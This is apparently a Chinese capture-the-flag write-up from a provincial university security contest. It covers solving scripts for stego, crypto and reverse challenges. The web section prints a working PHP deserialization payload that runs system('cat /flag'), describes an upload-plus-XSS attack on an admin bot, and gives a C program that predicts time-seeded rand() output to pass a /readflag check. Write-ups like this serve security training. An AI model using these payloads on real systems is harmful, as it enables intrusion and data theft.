第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP

在回校后,学校发了这个技术竞赛,但是没有时间去准备(论文害人不浅啊),只在比赛前一星期刷了一下题,所以在比赛中直接就是g了。现在结束了,根据留下来的一些附件和题目进行复盘。

misc

number gamenumber game

打开这个题目后,是一个网站。

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第1张图片

我一看是个网站,就想抓包。

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第2张图片

但是发现bp抓不到。没办法,只能先去看看他的源代码。

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第3张图片

在看代码的时候发现他判断,当roll出来的值等于1337的时候,会弹窗出来flag。

我就想,这哪能硬roll啊,谁roll的出来啊。

于是就在控制台输入代码

var _0x14184c = [0x38, 0x6f, 0x1e, 0x24, 0x1, 0x32, 0x51, 0x45, 0x1, 0x3c, 0x24, 0xb, 0x55, 0x38, 0xa, 0x5d, 0x28, 0x12, 0x33, 0xb, 0x5d, 0x20, 0x1e, 0x46, 0x17, 0x3d, 0x10, 0x2a, 0x41, 0x44, 0x49, 0x1a, 0x31, 0x5a]
          , _0x477866 = '';
        for (var _0x6698b7 = 0x0; _0x6698b7 < _0x14184c['length']; _0x6698b7++)
            _0x477866 += String[_0x38f496(0xd9)](_0x14184c[_0x6698b7] ^ _0x6698b7 + 0x5a);
        alert(_0x477866);

一运行,就这样,弹出了flag。

Steins_Gate

这个图片,说实话,刚拿到的时候,我以为是那种crc校验改宽高,搞了一下发现,不行。

然后又在kali试binwalk看看有没有拼接。

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第4张图片

这一试,给我带弯了,我搁那看sql数据,试编码,最后发现我就是个小丑,根本就不对。

最后,直接点开图片放大一看,李爸爸的,像素都是文字嘟嘟噜。

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第5张图片

于是就猜测是lsb隐写。

因为这每个字都是16*16,且都有口字旁,于是从这个口字下手。

from PIL import Image

im = Image.open('Steins_Gate.png')

pix = im.load()
width = im.size[0]
height = im.size[1]
im1 = Image.new("RGB", (int(width / 16), int(height / 16)))

for i in range(0, width, 16):
  for j in range(0, height, 16):
    dic = {}
    for x in range(i, i + 16):
      for y in range(j, j + 16):
        r, g, b = pix[x, y]
        if (r, g, b) in dic:
          dic[(r, g, b)] += 1
        else:
          dic[(r, g, b)] = 1
    sorted_dict = sorted(dic.items(), key=lambda x: x[1], reverse=True)
    if sorted_dict[0][0]!=(211, 211, 211):
      print(sorted_dict)
      im1.putpixel((int(i / 16), int(j / 16)), sorted_dict[0][0])
    else:
      im1.putpixel((int(i / 16), int(j / 16)), sorted_dict[1][0])
im1.show()
im1.save("output.png")

运行完代码后,出来了图片。

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第6张图片

好家伙,终于把这个嘟嘟噜给去了。

然后使用stegsolve工具进行查看。

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第7张图片

一看,发现base64的东西,所以赶紧导出来看看。

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第8张图片

导出来这个bin文件一看,每个==后面都坤巴带着12字节的乱码。

那肯定不能手动去啊,我手不得抽了啊。

with open('1.bin','rb')as f:
    with open('1.txt','wb') as f1:
        data=f.read()
        for i in range(0,len(data),252):
            f1.write(data[i:i+240])
            f1.write(b'\n')

脚本一用,过滤一下东西,再输出成txt

然后拿过去base解码。

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第9张图片

一解,捏麻麻滴,还是图片。

导出来一看。

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第10张图片

长这个鸟样。

试了一波发现是jpg隐写。使用outguess,惊了,还有密码。

回过头去base里面找,肯定藏那了。

import base64
bin_str=''
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('1.txt','r') as f:
    for line in f.readlines():
        stegb64="".join(line.split())
        rowb64="".join(str(base64.b64encode(base64.b64decode(stegb64)),'utf-8').split())
        offset=abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=', '')[-1]))
        equalnum=line.count('=')
        if equalnum:
            bin_str += bin(offset)[2:].zfill(equalnum * 2)
    #print(bin_str)
    print(''.join([chr(int(bin_str[i:i + 8], 2)) for i in range(0,len(bin_str),8)]))

运行完代码后,密码出来了。

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第11张图片

又是你嘟嘟噜。

DuDuLu~T0_Ch3@t_THe_w0r1d

最后用这个密码使用outguess拿下。

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第12张图片

EZ_misc

下载附件,yuanshen,qidong!

我直接就是查看二进制。

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第13张图片

一看,诶,原神玩多了,人都倒过来了是吧,FF D8 FF E0的图片倒序。

我直接,就是一个天翻地覆。

import binascii
with open('yuanshen','rb') as file1:
    with open('yuanshen.jpg','wb') as file2:
        hex_list = ("{:02X}".format(int(c)) for c in file1.read())
        for i in hex_list:
            file2.write(bytes.fromhex(i[::-1]))

拿下这个图片。

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第14张图片

这不是大万叶吗。

反手一个steghide我来一个黑虎掏心拿到密文。

一看,搁着摩斯密码变脸呢,将dash转-dot转.

然后拿去解密

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第15张图片

直接到手flag。评价为,挽圆身挽的。

WEB

easy php

看到这个题目,我乐了,简单php,我看看你多简单。

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第16张图片

我测,这个unserialize,一眼反序列化。

这几个类,也是一眼的货,b用来debug,c直接中间商传给a,a更是逆天eval执行代码。

我直接打开我放置已久的phpstudy,狠狠的输入世界上最好的语言php

param1 = $c;
$c->func = $a;
$a->cmd = "system('cat /flag');";

echo urlencode(serialize($b));

然后访问网址获得

诶,怎么还url编码上了呢,

没办法再拿去解了一下

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第17张图片

O:3:"BBB":1:{s:6:"param1";O:3:"CCC":1:{s:4:"func";O:3:"AAA":1:{s:3:"cmd";s:20:"system('cat /flag');";}}}

到手。

然后构造参数就直接拿下flag。

?aaa=O:3:"BBB":1:{s:6:"param1";O:3:"CCC":1:{s:4:"func";O:3:"AAA":1:{s:3:"cmd";s:20:"system('cat /flag');";}}}

my2to

这个题一眼代审,为什么一眼,因为他附件把源码放那了,哈哈哈。

我直接打开seay代码审计,我审什么,我审flag啊。

直接全局搜索。

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第18张图片

哦,我的flag,藏在了admin页面下。

再四次看看,看就个上传接口。

木得办法,使用上传和xss组合拳,叶师傅,切他中路。


利用这个html,上传在public/upload

上传后,触发bot访问就获得flag啦。

can you read flag

这个题,一拿到我是蒙的,这么嚣张吗直接写出来了。

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第19张图片

我直接一个cat fla*

李爸爸的,给我拦了。简直不是人啊。

两眼一黑,不知道他过滤了啥,尝试用file_get_contents看看页面

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第20张图片

嘿嘿,直接给你透了。

反手嵌套构造一下,我直接ls查看你,来让我康康。

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第21张图片

好嘛,flag在这放这。

申请访问!

纳尼,不能直接读,哪有这种道理,我不答应。

我直接在/tmp/src下查看你源码。

发现题目的源码,其随机数生成有缺陷,种子是time(0),因此可以写一个c语言程序,得到10秒之后的结果,输出到文件里,再将文件重定向给/readflag,即可通过计算题检查


int main(){
        unsigned int v3 = time(0)+10;
        unsigned int v9;
        unsigned int v10;
        srand(v3);
        int v11 = rand() % 101 + 100;
        printf("y\n");
        for (int i = 0; i < v11; ++i){
                v10 = rand() % 1000000;
                v9 = rand() % 9000000;
                printf("%d\n", v10+v9);
        }
}

我文件一传,编译一下,权限一加,然后将运行结果写入a文件,再将a文件重定向给readflag

最后获得flag。

crypto

小小数学家

这个题就是签到送分。

直接运算出值,然后转换成ASCII码,就得到flag:

DASCTF{9d811301-281b-4f4a-8d1a-b38beccf2285}

EC_Party-III

这个题打开附件一看,给出代码求解密。

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第22张图片

先来一个脚本求低指数d

import sage
ct = [10517482889776460226798449006280081167663671198448544453304563030553066300585088657159799516828057458092448853052920, 10402402380108575947733278581108880071660185906203575453837669489513650182676772750843558327746184945922314875098996, 452239510514900186933709062848646640558105660312444312121851933676754687850508865659206624803226663304812888272594694285123823218948165607478144589871322148031514596122654196640778853480169180864412134209693877604844174450602155353, 137939931394124279393027766586199451754893501053862574760060288577053514723631473985259186063729745515767167268309839903521149677958518517988564142828176577685619561913731155508981456507557881596602396073589127827579264760182112015, (312312975924665463422872243489714243976133330669934414246404507993066820310886215600585539115436654843078716170526368558972800117033427241194242498913898005160762151892979826292737941332916578310350510245475526522735894588645243659, 422891099305786578397746684898210811095359530216631541482542541898542508551347882962281401572399110483550691802487377837504493122807091311281569558317360479103461652558448871769150783477147866528115922507893061101403528629595165327)]

a,b,n,e,(Cx,Cy) = ct
E = EllipticCurve(Zmod(n),[a,b])
C = E(Cx,Cy)
O = E(0,1,0)

c = continued_fraction((e/n))

for i in range(200):
    d,k = (c.denominator(i),c.numerator(i))
    print(d)
    if C*(e*d-1) == O and d != 1:
        print(d)
        break

获得d=861078593737268627868079

然后求m值

import sage
ct = [10517482889776460226798449006280081167663671198448544453304563030553066300585088657159799516828057458092448853052920, 10402402380108575947733278581108880071660185906203575453837669489513650182676772750843558327746184945922314875098996, 452239510514900186933709062848646640558105660312444312121851933676754687850508865659206624803226663304812888272594694285123823218948165607478144589871322148031514596122654196640778853480169180864412134209693877604844174450602155353, 137939931394124279393027766586199451754893501053862574760060288577053514723631473985259186063729745515767167268309839903521149677958518517988564142828176577685619561913731155508981456507557881596602396073589127827579264760182112015, (312312975924665463422872243489714243976133330669934414246404507993066820310886215600585539115436654843078716170526368558972800117033427241194242498913898005160762151892979826292737941332916578310350510245475526522735894588645243659, 422891099305786578397746684898210811095359530216631541482542541898542508551347882962281401572399110483550691802487377837504493122807091311281569558317360479103461652558448871769150783477147866528115922507893061101403528629595165327)]

a,b,n,e,(Cx,Cy) = ct
E = EllipticCurve(Zmod(n),[a,b])
C = E(Cx,Cy)
O = E(0,1,0)

d = 861078593737268627868079
m = C*d
m = m[0]
print(m)

m=11128701975003002451830070180124963432210643963625151562445648616092749705192497589889353199

最后求flag值

import libnum
m = 11128701975003002451830070180124963432210643963625151562445648616092749705192497589889353199
print(libnum.n2s(int(m)))

flag=Wi3ner_4ttac6_s0_m4gic

an easy cipher

题目点开一看

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第23张图片

两个字符串

Kln/qZwlOsux+b/Gv0WsxkOec5E70dNhvczSLFs+0pkHaovEOBqUApBGBDBUrH08
RUNCIDAgMTI4IHNpeCBudW1iZXJz

下面那个看着是base64,拿去一解。

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第24张图片

发现是提示,aes加密128,6位密码

直接脚本爆破

import base64
from Crypto.Cipher import AES
import libnum


def zeropadding(password):
    password = password + b"\x00"*(16 - len(password) % 16)
    return password


def pkcs7padding(password):
    l = 16 - (len(password) % 16)
    password = password + (chr(l).encode())*(16 - len(password) % 16)
    return password


line = open("superdic.txt","rb").readlines()
for i in line:
    password = zeropadding(i[:-2])
    text = base64.b64decode("Kln/qZwlOsux+b/Gv0WsxkOec5E70dNhvczSLFs+0pkHaovEOBqUApBGBDBUrH08")
    aes = AES.new(password,AES.MODE_ECB)
    den_text = aes.decrypt(text)
    if(b"flag" in den_text or b"DASCTF" in den_text):
        print(den_text)
        print(password)

运行获得flag

Yusa的密码学课堂——基础数论

下载完附件,一看,x方+y方=p

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第25张图片

直接倒反天罡,脚本一写,给我逆。

s = 173178061442550241596295506150572803829268102881297542445649200353047297914764783385643705889370567071577408829104128703765633248277722687055281420899564198724968491216409225857070531370724352556864154450614891750313803499101686782558259953244119778256806332589612663957000269869144555485216828399422391672121
a,b = two_squares(s)
from hashlib import md5
print(md5(str(a+b).encode()).hexdigest())

运行获得flag

DASCTF{8ef20a4873c5ec776dd34bf5f0eb56cf}

reverse

pyccc

附件一看,一眼pyc后缀。

给他还原成py文件

a = input('please input your flag:\n')
check = [102,109,99,100,127,52,114,88,97,122,85,125,105,127,119,80,120,112,98,39,109,52,55,106]
flag = ''
for idx, x in enumerate(check):
    flag += chr(idx ^ x)
print(flag)

运行,要我输入flag?

我直接把你列表中的值拿过来输

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第26张图片

直接获得flag。

easyapk

这个apk更是逆天中的逆天,我ida打开显示apk文件损坏,我信了ida的邪,调了半天,最后没办法给他重新来过,换了个工具android killer

一编,我无语了,这会反编译出来了。

编译出来第一件事情搜索flag

找个半天在这看见flag 成功,下面是flag失败。

所以玄机肯定在这个文件中。

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第27张图片

一看文件名刚好是main。一看两个值,这么显眼发红光啊。先给他放文本中。

再看中间夹着的东西invoke-static {v0, p1, v1}, Lcn/ix221/dasctf/DES

DES,什么加密啊,我非进去看看

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第28张图片

进去一看aes,还是捏麻cbc

把东西往那一放

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第29张图片

还少一个key啊。

找捏麻半天,在另一个mian文件中

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第30张图片

隔这v2,v0又v1的不如直接给我得了

将v2的e换成3,就是key值了

r3v3rs3car3fully

然后丢过去解密

第六届浙江省大学生网络与信息安全竞赛-技能挑战赛部分WP_第31张图片

终于出来了哥,别easy了。

你可能感兴趣的:(php,javascript,开发语言)